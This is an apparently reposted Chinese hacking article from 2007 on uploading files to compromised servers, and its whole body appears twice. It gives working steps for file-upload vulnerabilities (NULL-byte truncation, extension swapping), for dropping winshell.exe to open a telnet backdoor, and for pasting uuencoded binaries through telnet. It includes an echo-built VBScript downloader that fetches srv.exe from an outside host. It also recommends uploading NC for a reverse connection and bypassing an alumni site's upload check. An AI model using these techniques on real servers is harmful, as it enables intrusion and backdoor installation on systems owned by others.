文件上传方法
2007-07-13 16:20:12 来源:WEB开发网核心提示:文件上传是很早以前的事了,最早那会常用的就是IPC连接,文件上传方法,然后一个一个的COPY,自从动网upfile漏洞出来以后,再修改后缀为ASP,用NC提交,各种脚本系统如PHP.JSP下的文件漏洞纷纷暴出,原理都是大同小异
文件上传是很早以前的事了,最早那会常用的就是IPC连接,然后一个一个的COPY,自从动网upfile漏洞出来以后,各种脚本系统如PHP.JSP下的文件漏洞纷纷暴出,原理都是大同小异,没有过滤文件上传路径,导致可以抓包然后把空格20改成00,变成空字符NULL,系统是从右往左识别的,所以到空字符那就截断了,更简单的就是过滤文件上传类型不完整,改后缀就可以解决了,这些上传文件的漏洞,用万能上传工具就可以轻松搞定,不过漏洞文件名不同罢了。
还有一些另类的文件上传方法,是在系统做了比较好的防范下完成的,资料来源感谢CD-LION提供一。
先COPY个winshell.exe吧,开个telnet端口,命令行下总比在浏览器里方便啊.
copy \\myIP\c$\tools\winshell.exe d:\downloads\winzip32 已复制一个文件
启动它 d:\downloads\winzip32\winshell.exe 浏览器窗口会停好久,
不用等的,程序已经启动了,点停止,接着,
断开共享连接: net use \\myIP\c$ /del 完成
1利用telnet上传文件 by :jiangyf@usa.net
如果ftp被关了,sendmail也不行,如何把编译好的文件上传到主机呢?
方法很简单:
1.先把要上传的文件用uuedcode进行编码,文件会变成大概下面的样子:
begin 644 file.bat
M.C!J95@T92TP,#503U!=:%=E6#5D9%!>,2Q&1D9&1C$L1D9&,2PT4%]J
M95@T85!9+7@M04%28#!@*CTP,’500D])04%!049+04]"4$E$34-"04Q%04I-
M3D-"2D%,24%!14U-3D-"1D5’24=&0T%%3D="1T1(0T=02$=’2DA#2$9(1$-!
M1TI(1$-!1T1’4$=.1TI’3T=(0T%#3T-/0T]#3T-/0T]!3D%+0T5!07%Q<7$@
M"D!%0TA/($]&1B`*0T]062`E,"Y"050@+T(@0SI<0D%45DE2+D-/32`O0B`O
E62`*0SI<0D%45DE2+D-/32`*1$5,($,Z7$)!5%9)4BY#3TT@"@``
`
end
sum -r/size 17903/262
全部都是可见的ASCII字符了
2.用TELNET连接到主机后输入
$ cat >a
然后用WINODWS的拷贝/粘贴,把文件粘贴到telnet窗口
按^d
在当前目录下产生文件a
3.uudecode a
文件复原,然后chmod即可
3脚本是非常好的东西,只要把源码保存到一个文件中就能运行。所以在shell下,用
echo语句直接写到一个文件中,在用相应的解释程序执行就可以啦。这里是一个程序
实例的简化:
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >167168.vbs
echo xPost.Open "GET","http://167168.meibu.com/srv.exe";;,0 >>167168.vbs
echo xPost.Send() >>167168.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>167168.vbs
echo sGet.Mode = 3 >>167168.vbs
echo sGet.Type = 1 >>167168.vbs
echo sGet.Open() >>167168.vbs
echo sGet.Write(xPost.responseBody) >>167168.vbs
echo sGet.SaveToFile "srv.exe",2 >>167168.vbs
然后执行cscript 167168.vbs就可以啦.其中,http://167168.meibu.com/srv.exe改成你放
文件的网站路径,srv.exe可以改成保存文件的路径。
4.start its:http://167168.meibu.com/ca.rar (看清楚,小心论坛自动加的标签)
cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\" (假设系统装在c盘,且当前环境是SYSTEM。如果是用户环境,修改Default User为该用户名)
dir /s ca[1].rar
然后会显示ca[1].rar的具体位置,比如C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5QMVC11H\ca[1].rar
最后:
copy 0QMVC11H\ca[1].rar c:\winnt\system32\ca.rar
del 0QMVC11H\ca[1].rar
还有可以用EXE2BAT转换成批处理,再上传,这种方法只限于小文件,文件太长粘贴时会出错,传个NC做反向连接是不错的选择。
最近我还遇见一种校友录系统,只有注册后再能上传照片(SESSION),我注册后发现可以上传任意文件,可是只能解析图片类型的后缀,这种情况应该是在服务端又加了一层JSP认正,如果用本地提交可以绕过JSP认正,可是没有登陆,第一层SESSION验证就不会通过了,上传思路是把ASP文件改成JPG后缀上传,然后抓包,这里的数据包已经包含SESSION值了,再修改后缀为ASP,用NC提交,原理就是这样,具体测试在进行中..
还有一些另类的文件上传方法,是在系统做了比较好的防范下完成的,资料来源感谢CD-LION提供一。
先COPY个winshell.exe吧,开个telnet端口,命令行下总比在浏览器里方便啊.
copy \\myIP\c$\tools\winshell.exe d:\downloads\winzip32 已复制一个文件
启动它 d:\downloads\winzip32\winshell.exe 浏览器窗口会停好久,
不用等的,程序已经启动了,点停止,接着,
断开共享连接: net use \\myIP\c$ /del 完成
1利用telnet上传文件 by :jiangyf@usa.net
如果ftp被关了,sendmail也不行,如何把编译好的文件上传到主机呢?
方法很简单:
1.先把要上传的文件用uuedcode进行编码,文件会变成大概下面的样子:
begin 644 file.bat
M.C!J95@T92TP,#503U!=:%=E6#5D9%!>,2Q&1D9&1C$L1D9&,2PT4%]J
M95@T85!9+7@M04%28#!@*CTP,’500D])04%!049+04]"4$E$34-"04Q%04I-
M3D-"2D%,24%!14U-3D-"1D5’24=&0T%%3D="1T1(0T=02$=’2DA#2$9(1$-!
M1TI(1$-!1T1’4$=.1TI’3T=(0T%#3T-/0T]#3T-/0T]!3D%+0T5!07%Q<7$@
M"D!%0TA/($]&1B`*0T]062`E,"Y"050@+T(@0SI<0D%45DE2+D-/32`O0B`O
E62`*0SI<0D%45DE2+D-/32`*1$5,($,Z7$)!5%9)4BY#3TT@"@``
`
end
sum -r/size 17903/262
全部都是可见的ASCII字符了
2.用TELNET连接到主机后输入
$ cat >a
然后用WINODWS的拷贝/粘贴,把文件粘贴到telnet窗口
按^d
在当前目录下产生文件a
3.uudecode a
文件复原,然后chmod即可
3脚本是非常好的东西,只要把源码保存到一个文件中就能运行。所以在shell下,用
echo语句直接写到一个文件中,在用相应的解释程序执行就可以啦。这里是一个程序
实例的简化:
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >167168.vbs
echo xPost.Open "GET","http://167168.meibu.com/srv.exe";;,0 >>167168.vbs
echo xPost.Send() >>167168.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>167168.vbs
echo sGet.Mode = 3 >>167168.vbs
echo sGet.Type = 1 >>167168.vbs
echo sGet.Open() >>167168.vbs
echo sGet.Write(xPost.responseBody) >>167168.vbs
echo sGet.SaveToFile "srv.exe",2 >>167168.vbs
然后执行cscript 167168.vbs就可以啦.其中,http://167168.meibu.com/srv.exe改成你放
文件的网站路径,srv.exe可以改成保存文件的路径。
4.start its:http://167168.meibu.com/ca.rar (看清楚,小心论坛自动加的标签)
cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\" (假设系统装在c盘,且当前环境是SYSTEM。如果是用户环境,修改Default User为该用户名)
dir /s ca[1].rar
然后会显示ca[1].rar的具体位置,比如C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5QMVC11H\ca[1].rar
最后:
copy 0QMVC11H\ca[1].rar c:\winnt\system32\ca.rar
del 0QMVC11H\ca[1].rar
还有可以用EXE2BAT转换成批处理,再上传,这种方法只限于小文件,文件太长粘贴时会出错,传个NC做反向连接是不错的选择。
最近我还遇见一种校友录系统,只有注册后再能上传照片(SESSION),我注册后发现可以上传任意文件,可是只能解析图片类型的后缀,这种情况应该是在服务端又加了一层JSP认正,如果用本地提交可以绕过JSP认正,可是没有登陆,第一层SESSION验证就不会通过了,上传思路是把ASP文件改成JPG后缀上传,然后抓包,这里的数据包已经包含SESSION值了,再修改后缀为ASP,用NC提交,原理就是这样,具体测试在进行中..
更多精彩
赞助商链接